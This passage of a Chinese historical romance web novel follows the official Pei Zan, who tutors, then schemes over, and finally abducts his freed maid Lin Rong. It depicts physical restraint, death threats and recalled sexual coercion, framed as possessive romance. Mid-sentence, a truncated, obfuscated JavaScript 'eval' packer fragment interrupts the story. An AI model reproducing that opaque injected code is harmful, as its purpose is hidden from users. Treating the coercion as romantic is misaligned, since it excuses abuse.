裴瓒好心教林蓉读书写字,她想予以报答,可林蓉身无长物,只能尽忠奴婢的本分,帮主人家看好院子。 裴瓒听她说话认真,颇有几分憨傻,不由端详她的眉眼,分辨她话中真伪。 “即便挨打也不想放?” “这是您的命令……” 因是裴瓒下的令,所以她会竭尽全力达成。 明明府上的奴仆各个奸滑,阳奉阴违,却能养出这么个一心效主的妙人儿。 裴瓒眉尾轻扬,手上的力道半点不松,直到林蓉吃痛,龇牙咧嘴地避开他的指骨,裴瓒方才讽刺地道:“虽是我下的令,可你受了欺负,还不知告状么?诉苦还需旁人来教么?好歹是我的婢子。” 林蓉结结巴巴:“我……” “倒是愚钝。” 但胜在忠心耿耿,把他的话当话。 林蓉挨了骂,表情茫然,神思不属。 可她听裴瓒说话,语气温和,又不像不高兴的样子。 就在她想多问些什么的时候,男人宽阔的手,倏忽拧上她的细腰,轻按在林蓉因挺胸抬头而微陷的背脊。 女孩的尾骨上方,传来一阵酥酥麻麻之感,隔靴搔痒,碾在袄衣上,没有与肌肤紧贴,落不到实处。 可就是这样虚无缥缈的触碰,反倒让林蓉感到紧张,她如芒刺背,鼻翼沁汗,双手不由自主蜷曲成拳,似是安慰自己,又似是竭力压抑那些突如其来的惊慌。 但她本能不生畏惧,许是知道裴瓒虽出手狠戾,但对她不赖……平心而论,林蓉在玉尘院里没受过太多委屈,吃穿用度也是一等,只要她尽心当差,裴瓒不会刻意磋磨人。 林蓉肩背僵硬,呆呆地感受着裴瓒恣意游走的指骨。 男人遒劲结实的臂弯圈着她,泛凉的手指在她后腰逶迤。 时不时点起星火,既冷又烫。 林蓉忍着那点魂不附体的战栗,脸颊与耳朵微热,染上红霞,烧得她意识模糊,眼睫淋淋,洇着汗水。 她仔细分辨裴瓒在脊椎上的落笔,一撇、一捺、一横、一竖。 渐渐的,林蓉反应过来——裴瓒在写字? “天地……玄黄?” “工颦妍笑?” 林蓉迟钝地分辨那些字句,她后知后觉明白,裴瓒将她的背当成沙盘,他在默写一章《千字文》,考校林蓉的习字成果。 林蓉记性不赖,又真有读书写字的决心,一刻钟的考问,她虽磕磕绊绊,但到底都将那些字眼认出。 裴瓒写完最后一个字,终是停下了手中动作。 他还是第一次帮旁人开蒙。 裴瓒的手掌松开,独属于男人的强烈侵略感骤然散去,他倚回圈椅,惫懒地道了声:“学得不错。” 在林蓉眼中,裴瓒是文曲星下凡,文采自是无人能及。能被大少爷夸赞,林蓉心中激动,不由抿唇微笑,眼中新雪初融。 林蓉谦逊地道:“都是大少爷教得好,那个……名师出高徒!” 裴瓒微微阖目:“林蓉,我不是你的师长。” 林蓉每次见裴瓒眯眸,总要心惊肉跳一番,她连忙改口:“奴婢就是顺口那么一说,我当然知道大少爷是主子。” “嗯。”裴瓒没其他话要说,赏了林蓉几瓶愈伤的药膏后,放她回房休息了。 裴瓒记起刚才林蓉呆傻仰望他的模样,杏眸水光莹亮、笑如雪涧浮花……林蓉很信赖主子,亦懂事听话,无论他对她做什么,她都全心依附,不躲不闪,任他施为。 裴瓒目光微沉,拇指轻压上腕骨那串乌沉念珠。 若林蓉一直这般乖巧,他不介意赏她一场造化。 - 翌日,林蓉从绿珠那里得知,昨天裴瓒去过大房,还闹了好一场。 下人婆子们虽然不知道大房在闹什么,但裴瓒前脚一走,后脚沈佳就被送出了裴府,临走前还用手掩面,哭哭啼啼,谁都能猜出其中猫腻。 沈佳想与裴瓒交好的事,在偌大的家宅里不是秘密,几人东拼西凑也就猜出来,定是裴瓒不喜沈佳,故意在大太太面前扫了她的脸,沈佳才会大哭出府。 绿珠比其他人知道得多,对林蓉挤眉弄眼,小声道:“没想到大少爷还挺护短,特意给你出头呢!” 林蓉倒没有窃喜的情绪,她想到昨晚的事,心里只觉得自己办事还不够老成,给裴瓒添了不少麻烦。 难怪深更半夜,他还要召她上前验伤。 林蓉想到裴瓒待她的诸般贴心之处,又生出了给主子道谢的心思。 这几天,裴瓒开始筹备上京诸事,他一回府就待在书房里忙碌公务,时常熬到丑时才睡。大少爷再有能耐,也是肉眼凡胎的凡人,脾胃饿上一整晚,一定吃不消。 想到这里,林蓉趁夜利用玉尘院的私灶,给裴瓒蒸了一份核桃松糕、莲蓉玉带糕,还熬了一盅清目醒神的百合银耳汤。 林蓉仔细检查了一下糕点、汤品的甜味,她知道裴瓒不嗜甜,入口微微回甘便好。 吃食的滋味不差,林蓉放下心来,高兴地送膳去了。 - 玉尘院,书房。 深夜时分,烛火通明。 裴瓒与麾下副将郑至明正在屋中议事。 秦王率领五万精锐之师,北上入京,途径州府,还有不少联军策应,俨然是要谋朝篡位。 世道乱了。 元庆帝倍感焦心,八百里加急送来皇旨印绶,超擢裴瓒为三州总督,掌三州军政。 品阶虽是升无可升,但总督一职,手握权势更重,此为天家的抬举,亦是帝王的让步。 元庆帝盼着裴瓒能够以大局为重,命他领兵作战,即刻歼灭举事藩王。 在郑至明眼中,元庆帝如此倚重裴大都督,可见是被秦王吓破了胆。 可裴瓒却品出其中的猫腻之处。 元庆帝虽然命兵部送来军需辎重,但等那些物资粮草抵达江州,也不知猴年马月,甚至可能半道上被那些乱.党截获。 皇旨上虽然格外开恩,容允裴瓒先在地方募兵、征集粮草,但那些军资与兵马,本就是裴瓒多年积攒的“私产”,皇帝嘴皮子上下一碰,倒是空手套白狼,慷他人之慨,直接借用了裴瓒的兵马,也不想想他能否同意,又怎愿入这个套。 郑至明:“大都督,您怎么看?咱们要发兵讨逆么?” 裴瓒以帕净手,意味深长地道:“急什么?我等静观其变便是。只皇旨已下,不日后,本官率军讨逆,顾不上海上倭患……你可以昭告三州粮商,如有存粮,尽快出手,免得漕运动荡,倭寇横行,届时粮米不保,损失会更为惨重。” 郑至明不蠢,裴瓒三言两语便让他回过味来——大都督这是要借力打力,故意用圣旨压人,逼迫那些赚得盆满钵满的粮商竞相卖好,低价放粮,再由他们购来粮食,如此一来就能暂时解决军将的粮饷问题了。 郑至明想不明白,裴瓒囤粮的举动,究竟是为了攻打秦王,还是有别的考虑。 但他知道,元庆帝早对大都督展露杀心,如今正是用人的时候,皇帝才会对裴瓒和颜悦色。 待危机消除,焉知元庆帝忌惮裴瓒,会不会卸磨杀驴? 而且这一次迎敌秦王,谁知道是不是元庆帝的阴谋,也好让裴瓒的兵马受损,战力衰减。 平心而论,郑至明并不想为皇帝效命,可他又不敢劝裴瓒谋反,只能听他吩咐。 思来想去,郑至明还是将另外一件事告知裴瓒。 “大都督,还有一事……” 裴瓒睥他一眼:“作何吞吞吐吐,你说便是。” 郑至明觑他脸色:“您也知道,皇帝心狠手辣,此番示弱,求咱们出兵,来日兵祸解除,定会对咱们赶尽杀绝。末将想着,倒不如、倒不如像秦王一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这、这……郑至明不敢言语。 裴瓒:“吃些东西垫肚吧。” 郑至明:“是……是。”他受大都督相邀,坐到一侧桌旁,用起点心。 没等郑至明咽下那口香喷喷的糕点,裴瓒漠然发问:“吴家可有所求?” 裴瓒竟在这个婢女面前说起军事,郑至明吓得直咳嗽,一双铜铃大眼都要瞪出眼眶了。 但其实,裴瓒并非愚钝之人。 他知道今夜军事已议至尾声,即便林蓉旁听,也泄不出什么机密。 况且,他既想给她恩典,自要给林蓉一个试炼的机会。 如她话多,他会杀她。 倒是林蓉乖巧低头,她知道自己来的不是时候,不敢叨扰裴瓒议事,只能眼观鼻鼻观心,跪侍一旁。 片刻后,林蓉听到郑至明压低声音道:“他们……欲同大都督求一妻位。” 闻言,林蓉怔住,她脑袋嗡然,胸口发闷,莫名将头压得更低。 裴瓒听完就明白了。 吴冲在赌裴瓒受皇权欺压多年,必定会反。 若是裴瓒够胆,敢趁着局势动乱,揭竿而起,他日入主皇城,便能带着庐州吴氏重回都城。 不论是裴瓒有称帝野心,还是扶持裴贵妃所出的二皇子登基,天家都沾着裴氏血脉,裴瓒都会是皇亲国戚。 他日论功行赏,吴家有从龙之功,定能分得一杯羹。 如此一来,进献一名嫡房吴氏女,与裴瓒联姻结盟,便是一桩大有裨益的买卖。 难怪吴冲愿意遣兵运粮,只为爬上裴瓒这条贼船。 裴瓒思索片刻,轻扯唇角:“既如此……允了。” 盟友难得。 不过一妻位,许便许了。 联姻一事已经定下,郑至明急着给吴冲回信,急匆匆离开。 裴瓒也不再多说什么,转而望向桌上那几样已经放凉了的点心。 裴瓒瞥了噤若寒蝉的林蓉一眼,咬了一口糕点。 他虽不爱吃甜口蒸糕,但又觉得林蓉夜里送食之举,很是妥帖。 也是奇怪,他竟看这个乳臭未干的小丫头愈发顺眼了。 难怪刚才他会一反常态,允她入内旁听。 或许连裴瓒自己都不知道,他恶意放林蓉入内,无非是给自己一个理由。 一个掌控林蓉的理由。 如此一来,便是裴瓒自己斩断了林蓉的退路——她已经旁听了军机要务,再不可能全身而退。裴瓒多疑,对于林蓉这样可能泄密的婢子,他要么杀了她,要么收用她。 这是裴瓒给林蓉选的路……恐怕林蓉就是死,也只能死在他的身旁。 裴瓒低眸用食,姿态风雅矜贵。 林蓉在一旁随侍,懵懵懂懂地消化之前听到的那些事。 她听得云里雾里,实在搞不懂裴瓒和郑至明在说什么。 但她不蠢,隐约还是记下了一句——那便是大少爷许了别人妻位,他要娶妻了。 林蓉知道,这不关她的事。 但不知为何,她竟也会喉头发紧,嚼开一颗汁水丰沛的酸梅一般,唇齿微涩。 在林蓉眼中,裴瓒虽然心狠手辣,但待她不薄……她并不厌恶裴瓒,甚至是敬重裴瓒。 一想到裴瓒的婚事,林蓉心道:大少爷俊美韶秀,穿上婚服定是神采英拔。 只是,她恐怕无缘看到裴瓒大婚的模样了。 林蓉听闻裴瓒不日后就要离府归京,那她也很快就到赎身出府的那一日了。 往后余生,她与大少爷应该再无相见之日。 既如此,林蓉高兴地笑了下。 她盼着裴瓒的婚姻美满,与少夫人白头偕老,子孙满堂。 18、第十八章 第18章 裴瓒不嗜甜, 七岁后他就很少吃甜糕了。 只裴瓒性子谨慎,不会对外暴露饮食偏好,如有糕饼菜肴, 他均会尝上一筷子,绝不贪食。 免得有心人记下他的口味, 往后在他喜爱的菜肴里藏药谋害。 今日, 裴瓒能在林蓉面前, 多用两块她端来的甜糕, 已是给足她体面的意思。 裴瓒饮了一口清茶,将那股腻人的甜味冲散,再取帕子净手, 擦尽指尖粉屑。 屋内静谧无声,落针可闻。 裴瓒瞥一眼旁处, 因他与郑至明此前围着桌案议事, 席地而坐, 林蓉也从善如流地跪侍一侧, 低头听候主子家的吩咐与差遣。 也是这时, 裴瓒才注意到, 林蓉生得那样瘦小, 后颈皮薄,低头见骨, 她竭力降低自己的存在感,蹑手蹑脚地挤着肩膀, 缩在屋隅角落,寂然不动,如同一盏光线幽微的落地瓷灯。 林蓉的浓长眼睫向下低垂,眼神不敢乱晃, 凝视自己那双生了冻疮的小手,简直乖得不像话。 裴瓒注视她两息,又挪回目光。 他好似能笃定,林蓉这样胆小怕事的丫头,会一直留在这一间屋舍里,如枕边铜灯,如案上闲书,一直留在他触手可及之处。 裴瓒不算个喜新厌旧的人,他既给林蓉恩典,自会善待她。 只要林蓉乖巧,像之前那样忠心待他、以他为天、把他的话牢牢记在心底。 如此一来,即便裴瓒不是那等宠妾灭妻的蠢人,他也能承诺林蓉,就算日后有执掌中馈的高门主母嫁进裴府后宅,他的后院仍会留有林蓉的一席之地。 林蓉见裴瓒用完了点心,小心翼翼看了裴瓒一眼,“大少爷,若您用完点心,那奴婢就告退了?” 裴瓒:“去吧。” 得了允许后,林蓉轻手轻脚收拾了碗碟,躬身离开。 在掩上房门的一瞬间,林蓉意识到,她刚才好像故意收拾得慢了一些,她好像在刻意提醒大少爷,她要走啦,想看看他还有没有什么话说。 但林蓉自己也不知道,她究竟在期待裴瓒说什么呢?总不会是……解释一下他所说的那个“妻位”吧?究竟是搪塞之语,还是他真的要娶妻了? 可仔细一想,林蓉又觉得毛骨悚然。 她是那个位份上的人,竟敢管起府上大都督的婚事?!怕是十个脑袋都不够掉的! 两天后,裴瓒率军离开了裴府。 听说渝州起了兵祸,死了好多人,但好在江州还算平静,只是守城的兵丁增加了,验看那些出入州府的路引流程,也变得更为严苛了。 不知裴瓒行色匆匆离开,是身负皇命,挂帅出征;还是遵循皇旨,上京述职。 总之,裴瓒这次离开,并没有带走林蓉。 这是绿珠意料之外的事,她还当大少爷这么抬举林蓉,定会把她带离裴府呢! 绿珠一想到裴瓒要了林蓉的身子,竟还就撇下她不管,不免心里恨得牙痒痒,直骂他是个负心汉、薄情郎! 倒是林蓉松了好大一口气。 她不想跟着裴瓒,也不想与人做通房丫鬟,或是做妾。 在高门大院里做妾很苦的,一旦进了角门偏院,基本就没有再迈出月洞门的机会。 要是惹得主母不顺心,妾通买卖,还能随手发卖了,连夫主都不必过问。 林蓉凑够赎身银后,上大房沈氏那里求个恩典,想要自赎奴身,脱离贱籍。 沈氏见林蓉此前这般得裴瓒青眼,竟也被舍在老宅,那等拉拢儿子的心思便也淡了。 一般高门大户都会依循官家的“计庸赁工”的放免律法,即为奴婢在主家劳役所得的工钱,若是足够抵押卖身债银,可自赎奴身,返还良籍。 沈氏为了维持裴家仁善的声誉,没有为难林蓉,给了赎身的署名手书,又命手下嬷嬷将林蓉的放身契送去官府申牒除附,落印盖章,走完放奴的手续。 待林蓉收到那一纸薄薄的民籍文书,她已经从奴变为民。 林蓉几乎是喜极而泣。 林蓉的鼻腔发酸,胸腔热涨涨,心脏酸溜溜的,伸手不住抹眼泪。 她如今会识百来个字了,她不是睁眼瞎了,她不止一次端详纸上的名字,默念“林蓉”二字,确认这不是一场稍纵即逝的美梦。 林蓉知道这一纸文书是真的,衙门落了印的,她再也不是任人打骂的奴婢了。 待会儿再去衙门办个探亲出游的路引,她就能离开江州了。 林蓉高兴得不知说什么好。 下午,等官府开具,办好路引后,林蓉又抱着装有旧衣的包袱,上了一趟估衣铺。 赎身后,林蓉身上只剩下五钱银子,但好在她还有两身冯叔送的衣裳,用的暗花绸、名贵绣品,送去售卖,竟也得了二两银子。 林蓉吓了一跳,她心里估摸着,这还是店家看她不识货,存心讹她的。要是再讲一讲价,磨上几天,保不准五两银子也卖得。 林蓉把那二两银子收好,塞进旧袄内侧缝制的一个小口袋里。这样一来,除非贼人偷她的衣衫,不然这钱丢不了。 江州属于南地,石桥跨河,民居靠水,水路漕运四通八达,如要远行,乘船最佳。 二月里,开了春。 河岸夕阳西斜,翠柳拂堤,桃李开花。 虽不落雪,天气却仍寒冷料峭,天黑得也早。 林蓉想着明日一早,她就离开裴府。 林蓉不打算坐客稀的夜船远行,最好是白日乘船先出江州主城,再至潞州,在梅溪镇落脚。 少时,林蓉的邻家阿婆就是梅溪人。 阿婆说过梅溪镇子四季分明,很是宜居,若非阿婆嫁到江州,否则她还想在潞州梅溪镇待上一辈子呢。 林蓉只是想离开噩梦一般的江州,离裴府远远的,具体去什么地方、做什么,她还没考虑好,先走一步看一步。 林蓉踮脚眺望一圈。 远处的渡口,舳舻相连。有置办酒席的香船、专供名门贵族游山玩水的湖船、甚至还有高耸似精美庐舍的楼船。 埠头到处点了烛光烁烁的气死风灯,照得水面碎金点点,泄了一江的金箔。 林蓉寻上一名船夫,打听了开船的时间,还有价格,询问妥帖后,又去饼摊买了几张烤饼、一些肉干,甚至是装水的羊皮水囊。 渡船会在各地停泊,其他所需的吃食,等水路靠岸再慢慢采买就好。 今晚,林蓉要和府上的奴仆饯别,再好好吃上一顿。 她忍痛拿出三钱银子,买了些河虾鱼肉,还有几样时蔬。 回府的时候,赵婆子一听她拎菜回来,语带埋怨:“公厨里什么没有?何必自己买菜?你身上就没几个钱,还不好好攒着……” 说着又想到林蓉已经赎身了,要出府了,这心里空落落的。 赵婆子捧着林蓉的脸,细细打量,怎么都看不够似的。 “要我说,你甭出去了,孤苦伶仃的一个小姑娘,一无良田,二无住所,就算在外谋生,月例也没裴府给的多,咱们府上好歹还能包吃包住呢。” 赵婆子就是怕林蓉走远了,在外一个头疼脑热她也不知道,万一被人欺了去,也没人给林蓉撑腰出头。 林蓉落得一身埋怨,她也不恼,反倒心里甜滋滋的。她知道赵婆子是关心她呢! 果然,晚饭还没煮好,赵婆子就去拿了个小包袱,神秘兮兮地塞进林蓉手里。 林蓉打开一看,竟是几样治冻疮的药膏,还有三两碎银子。 林蓉吓了一跳,急忙推拒:“这可使不得!” 虽说负责府上采买的婆子月钱多,加上其他进项打赏,帮府上丫鬟带胭脂水粉还能捞点油水,过得十分滋润,比林蓉这样的扫洒丫鬟要好多了。 可再怎么好,大三两银子也得攒个一年半载呢,林蓉怎能拿阿婆的钱? 林蓉背过身去,不肯收。 赵婆子知道小丫头死脑筋,瞪她一眼,取走二两银子:“就这点钱,收下吧,不然老婆子我心里不踏实。” 林蓉心头热胀胀的,她收下了银钱,又把早就准备好的兔毛护腰递给赵婆子:“阿婆,这个给你。我知道你腰不好,特地给你缝的。大冷天了,腰可不能受寒,不然还有的疼呢。” “你这丫头,还给我送东西……”赵婆子老眼含泪,“成了,我收下了。你年纪轻,出去走走蛮好,要是混不下去,就回江州来,老婆子乡下还有良田,到时候我老了也出裴府了,你就来我这边,给我养老。” 赵婆子嘴上说让林蓉给她养老,实则是想供林蓉一处容身之所,再不济她还能和老人家同住,不至于露宿街头。 林蓉没有推辞,笑着点了点头。 晚上吃饭的时候,绿珠、富贵、春花都来了,就连二房的明珠明玉听到林蓉要走,也稀奇地过来瞧瞧。 毕竟是辞别,手上不拿东西不好看,每个丫鬟小厮都给林蓉备了礼物。 有路上吃的兔子糕、有暖身的汤婆子、还有止痒消肿的药膏…… 他们知道林蓉远行,送的都是一些实用之物。 林蓉不仅收下绿珠姐姐、富贵的礼物,还收下明珠明玉递来的礼物了,在今晚,不管从前有多少前尘旧怨,都和那几杯酒水一起,一笔勾销了。 晚上,林蓉给富贵拿去一双合脚的新靴,又给绿珠送了一匣子她蒸的甜糕。 绿珠本想和林蓉一块儿睡一晚,但她已经回了大房的霜降院,不能乱跑,只能最后叮嘱林蓉一句:“往后自己在外头过日子,一定要事事小心,你生得漂亮,出门在外记得拿膏啊粉啊遮一遮脸,免得被人惦记上。” “我省得了,阿姐快去睡吧。”林蓉的包袱里早备了乌膏,可以把眉毛抹粗一些,脸上肌肤抹黑一点,不至于被人盯上。 绿珠一步三回头,咬了咬唇,大声道:“蓉儿,你一定要过上好日子!” “会的。”林蓉朝她笑笑,转身回了寝房。 这一晚,林蓉心无挂碍,睡得很沉很饱。 晨光熹微,林蓉神清气爽地起身,她穿上一件浆洗过多次的素布袄裙,背着装了日常用物的包袱,又接过富贵、赵婆子送来的热乎肉包。 林蓉和看门的小厮打过招呼后,挺胸抬头,深吸一口新鲜空气,走出了这一座巍峨幽深、死气沉沉的大宅子。 林蓉走在街上,东看西看,瞧什么都新鲜。 集市里,都是一些推车卖菜的贩夫走卒。 饼炉里的烤包子熟了,店家掰开两个热气腾腾的包子,请人试吃,一时间香飘十里。 行商货郎挑着扁担,沿途叫卖小孩玩的捻梢子、不倒翁,还有一些晨起给家中娘子买吃食的老嬷嬷围在摊头,挑选蛤蜊油、桂花香露。 车水马龙,人声鼎沸,如此热闹的人间烟火,林蓉看得目不暇接。 要不是她心里惦记渡口开船的时辰,当真要停下来多逛逛。 林蓉挤出人山人海的闹市,沿着一条僻静的小巷,一路往码头跑去。 没等她穿过这条幽暗的窄巷,一辆青帷马车,忽然堵住了路口。 唯一一点漏光的路尽头被马车封死,眼前黑了一瞬,惹得林蓉皱起眉头。 她心中烦闷,正打算侧身挤过车驾,那辆马车的车门忽然打开,垂下的那一层单薄的帘布,也被一只白皙如玉的手轻轻挑起。 指骨修长,皮肤白皙,当真是雪魄梅胎的一节腕骨,寻常人家可养不出这样的姿仪气度。 林蓉看到那一只琳琅玉骨,不知想到了什么,脑袋嗡鸣,心脏狂跳。 她本能生出一种不对劲的感觉。 旋即,林蓉看到了此生都难以忘怀的一幕—— 男人撩帘下车,肩背挺拔,长身玉立。 一袭竹篁绿底圆领袍,广袖飘逸,清华若仙。乌发用一支竹骨玉簪半绾,如丝缎一般流泻腰侧,风采翩翩。 只那一双狭长凤目,压着阴森凶戾,似是酝酿着凡人所不能承受的凶悍怒火。 他似是知道林蓉就在眼前,竟朝着林蓉缓步走来。 来人……竟是裴瓒! 林蓉吞咽一口唾沫。 若是从前,林蓉还能欢喜地和裴瓒打一声招呼。可偏偏在她出府的这天,裴瓒提前乘车来堵,无论如何都有些诡异。 她看着人高马大的男人靠近,顿时喉咙发紧,脊背发毛,下意识后退两步,逃心四起。 “没事的……我不是裴府的奴婢了。” “没事的,我已经赎身了……” 林蓉哄劝自己不要害怕,不要慌张,她是良家子,她再不是裴瓒的奴! 林蓉满头是汗,她恨不得拔腿就跑。 但她心中又存有一丝侥幸,或许裴瓒只是路过,恰巧撞见了她。 兴许裴瓒只是与她有眼缘,才会纡尊降贵下车,朝她踱步而来。 她决不能自乱阵脚! 可所有的设想,都在裴瓒冷笑开口的一瞬,被残酷阴毒的男人撕了个粉碎。 林蓉听见裴瓒清润冰冷的声音,由远及近传来。 他说—— “林蓉。” “既脱了奴身,给你抬个妾位……可好?” 在这一刻,林蓉杏眸含泪,终是吓得肝胆惧寒。 自此,林蓉也明白了裴瓒的部署。 ……他分明是纵容她赎身出府。 因裴瓒倨傲自负,他不想要个婢妾!他要纳一房良妾! 而林蓉赎身出府,正中他下怀! 19、第十九章 第19章 裴瓒的话, 犹如九天惊雷,炸在林蓉的耳畔。 在这一刻,她终于意识到, 那些虚无缥缈的好感,对恩人的敬重, 穷奢极侈的大宅生活, 都及不上她方才逃出裴府, 呼吸到新鲜空气的一瞬欣喜。 可这些因自由出府提起的精神气儿, 在见到裴瓒的瞬间,如破口的祈福孔明灯一般,滋溜一声, 悉数涣散。 竹骨坍塌,火光灭了, 纸灯落了, 她的眼前唯有一片混沌迷蒙的黑暗。 林蓉没有犹豫, 她知道裴瓒来者不善, 几乎是拔腿就跑。 可没等她狂奔出小巷, 一只遒劲结实的手臂猛然横来, 揽住了她的腰腹。 男人的臂力无穷, 如蛇一般收拢,瞬间勒住了林蓉。 林蓉惊慌无措, 整个人被一股凶悍的力道掼回原地,在她想要高声大喊的时候, 滚沸的掌腹又从后袭来,紧紧捂住了她的口鼻。 “呜呜!”林蓉挣扎出声,眼泪夺眶而出。 她被困在那个温热的怀抱里,无数浓郁的檀香涌来, 近乎无孔不入,充斥着她的五感,沉沉吞没了她。 “你乖些,我不弄疼你。” 裴瓒的声音,犹如邪灵低喃,响在耳畔。 言辞虽温和,可手上施加的力道却半点没减少。 裴瓒手心生着肉眼凡胎的俗人一般的热意,但他骨子里却充斥着那些非人的阴冷。 林蓉毛骨悚然,挣扎得更加厉害。 裴瓒似是厌极了林蓉大喊大叫的模样,手掌一寸寸下移,扣住了林蓉纤细白皙的颈子,泛凉的指肚压着她发声的喉管,迟缓地上下抚弄。 此举不掺杂任何暧昧意味,倒像是赤裸裸的威胁 裴瓒心中责怪林蓉不识抬举,但看她浑身战栗,美眸含泪,又微弯唇角,好心告诫一句:“再喊一声,我就折断你的脖子。” 襟喉之地受制于人。 林蓉受那股强悍的力道压迫,她深知裴瓒这人冷血无情,终是不敢再喊。 林蓉如枯萎许久的花枝,渐渐蔫巴下来。 随后,她被裴瓒扯着臂骨,摔上了马车。 面对裴瓒的恶行,车夫连头都不敢抬。 随即,车门阖上,马车嶙嶙行驶,直往城外奔驰而去。 裴瓒没有怜香惜玉的心思,他下手极重,林蓉几乎是被人摔进车厢。 她跌到角落里,四肢百骸传来一阵阵钝痛。 林蓉龇牙咧嘴地嘶了一声,作势又要爬起来。 可裴瓒跽坐在车厢内,守着车门,那一双毫无人情味的冷冽凤眸,也如窥视猎物一般,静静凝视着她。 裴瓒就是一条伺机而动的毒蛇,浑身上下散着森然可怖的气息。 马车的门板上闩,车内没有点灯,不燃一丝光亮,如陷泥泞深沼。 林蓉越是挣扎,越陷得深。 她必须按兵不动,她必须冷静应对。 裴瓒想要什么呢?他所图究竟是什么呢? 日理万机的裴大都督,为何非要和她这样的无名小卒大动干戈? 林蓉压根儿想不通,裴瓒怎么就愿意纡尊降贵,和她这等平民百姓耗上了。 林蓉深吸一口气,她忍住眼眶里的涩意,跪求裴瓒:“大少爷,我已经赎了奴身,放了奴籍,成了良家,我要返乡去,你不能强留我……” 林蓉不敢说出“强抢民女”这四个字。 她故意将裴瓒捧得高高的,架上“正人君子”的高台,如此一来,裴瓒顾念高风峻节的文人风骨,或许不会强留下她。 可林蓉料错了。 又或许是她不敢也不想承认……裴瓒一直都算不得什么仁义君子。 果然,裴瓒闻言,只是轻扯一下唇角,凤眸黑沉如水,晦暗不明。 他俯身上前,长指扣住林蓉细白的手腕,指腹碾在她浮躁鼓囊的脉搏之上。 他把持着林蓉的命脉,垂头看着被他压低了肩颈的少女,冷声质问:“为何要走?我已许了你妾位。” 他将林蓉视为忠心耿耿的家犬,以为她天性忠烈,与他有缘,合他心意。 他给予她恩典,一手调教,想着好吃好喝好玩供着,伴在身边当个乐子,可林蓉倒好,竟敢咬绳逃跑…… 背主的奴该杀。 林蓉惹怒了他,该死! 裴瓒已经多年不曾动怒,他分明很能沉得住气,可今日为了一个泥潭里翻出来的小人物,他竟胸臆生怒,沉闷至此。 裴瓒的下颌紧绷,狰出一片棱棱骨相。他的神情骇怖,脖颈的薄皮底下,有几根青筋微跳,脉络中血浆流窜,如岩浆捣鼓,不断沸腾。 裴瓒静静审视林蓉,等候她的回答。 林蓉的肩骨被裴瓒擒着,不断铮铮作响,她怕到几乎忘记疼痛,亦毫不怀疑,自己今日可能会折在那个寡情冷血的男人手中。 说些什么、做些什么……她不断劝着自己。 林蓉直到现在,终于听懂了。 裴瓒一直知道是她帮他解的药,他不动声色,暗地观察,不过是知林蓉逃不出他的手掌心。 裴瓒以妾位作为奖赏与抬举,可她弃如敝履、避之不及、她什么都不要……她惹到裴瓒了。 林蓉努力平复呼吸,尽量让口舌清晰,咬字清楚,她不能惧他、怕他,再触怒他。 “大少爷,我不奢求什么妾位。那一日帮大少爷解药,是我心甘情愿……您指点我读书识字,赠我美食华服,我们已经两清。如今我赎身为民,离开裴府,我不再是裴家人,还望大少爷开恩,能放我离去……” 她虔诚恳求,杏眸赤忱,如敬神佛。 她渴望能得到裴瓒一星半点儿的怜悯。 闻言,裴瓒向前一步,气息寒彻如霜雪,令人骨颤肉惊。 裴瓒单膝抵来,压进林蓉的腿根,将她挟持于胯骨之间。 马车逼仄,林蓉避无可避,躲无可躲,她的双膝半屈,被裴瓒掌控身下。 一精贵一粗劣的衣料纠缠交叠,堆累一处,难舍难分。 裴瓒冷眼旁观林蓉的窘态,他任她哀求、惊惧、瑟缩,他不为所动,他本就不是一个容易心软的男人。 裴瓒低下头,半绾的乌发丝丝流泻,如瀑倾来。 檀香的气息更重了。 淡雅的馨香萦绕车内,有种诡谲的淫邪之感。 裴瓒囚着她,音量不大,气势却压人,“林蓉,你以为……上了我的床榻,就能轻易两清么?” “我……”林蓉杏眸瞪大,泪光朦胧,战栗攀上神魂。在这一刻,她忽然领会了裴瓒的意思。 裴瓒怎会在意她的苦衷? 他想要,得到便是。 就这么简单。 林蓉的意愿无关紧要,不值得他分出一丝心神善待。 林蓉怒火中烧,既想不明白,也不甘心。 明明就差一点,她就能坐船顺着江海湖泊南下,一路游历山河,离开噩梦一般的江州。 明明就差一点,她就能逃到没人能寻到她的梅溪镇,再干一些蒸糕绣花的活计,攒下十几年的钱买一座远郊的小宅子,或是开垦荒山,犁地种田,自给自足……林蓉狠吃过苦,她在读书上天赋平平,但很擅农事,她可以去山里捞那些鱼卵鱼苗,再放到稻田里养大,也可以去镇子上买来鸡鸭,畜在小院里等着下蛋。 只要她避开那些主城,只要她乔装打扮,行踪隐秘一些,她就不会被战乱波及,就能顺利活下来。 未来可期,未来的日子美好、静谧、幸福……她不用寅时就爬起来顶风冒雪给主子们烧水,或是被管事喊去屋外扫雪。 就差这么一点,偏她被裴瓒抓住了。 那些令林蓉无比向往的生活,终是破灭了。 就差那么一点啊! 林蓉咬牙,她忍泪:“大都督,你得讲礼法,我是良家子,你不能抓我!” 怀中纤柔荏弱的少女,终于厉声嘶喊了一句。 可她的怒火,半点都影响不到裴瓒,只增添了他的兴致。 裴瓒恍然大悟。 他好像明白,他为什么非要留下这么一个小丫头了。 因她很有趣,因她没有半点脾气。 裴瓒性恶,亦擅辨人心。 因林蓉对他无所图,他才肯分她几记眼神。 裴瓒隐约记起一些事。 在第一次抓住林蓉,将她剥光了压上桌沿的时候; 在第一次哄她舔手,吞至指根的时候; 他就在想…… 为何凿得这么深、这么重,她都只会哭呢? 连推搡都不敢,连抵抗都不能。 他邪念四起,突然想看看林蓉张牙舞爪的样子。 想破皮见血,折骨见肉,看看她能不能真正发怒一回。 就在此时,裴瓒感到细微的餍足。 裴瓒那双墨眸不含情愫,寂如荒冢,他道:“若事事讲究礼法,我早该死了。林蓉,我这个人奉行的便是人不犯我我不犯人,我以为你该知道的。” 林蓉绝望地挤出一句:“我不知道。” “不知道也不打紧,只要你从此刻明白,既是我用过的奴,怎可能再辗转于他人身下?”裴瓒意味不明地道,“况且,那一日,是你自己闯进来的。” 一语双关。 既说初次帮他解药的房事,也说前几夜军事密谈,林蓉送食入内的事。 裴瓒没有阻拦,任林蓉擅闯,他给足了她机会。 裴瓒在蛛网最深处等待,他等着林蓉她一步步落入深渊。 林蓉无比后悔,那一夜她为何要去玉尘院送茶? 那一天她为何良心发现,非要给裴瓒蒸糕? 如果她什么都没做,她是不是就能远远逃离裴瓒? 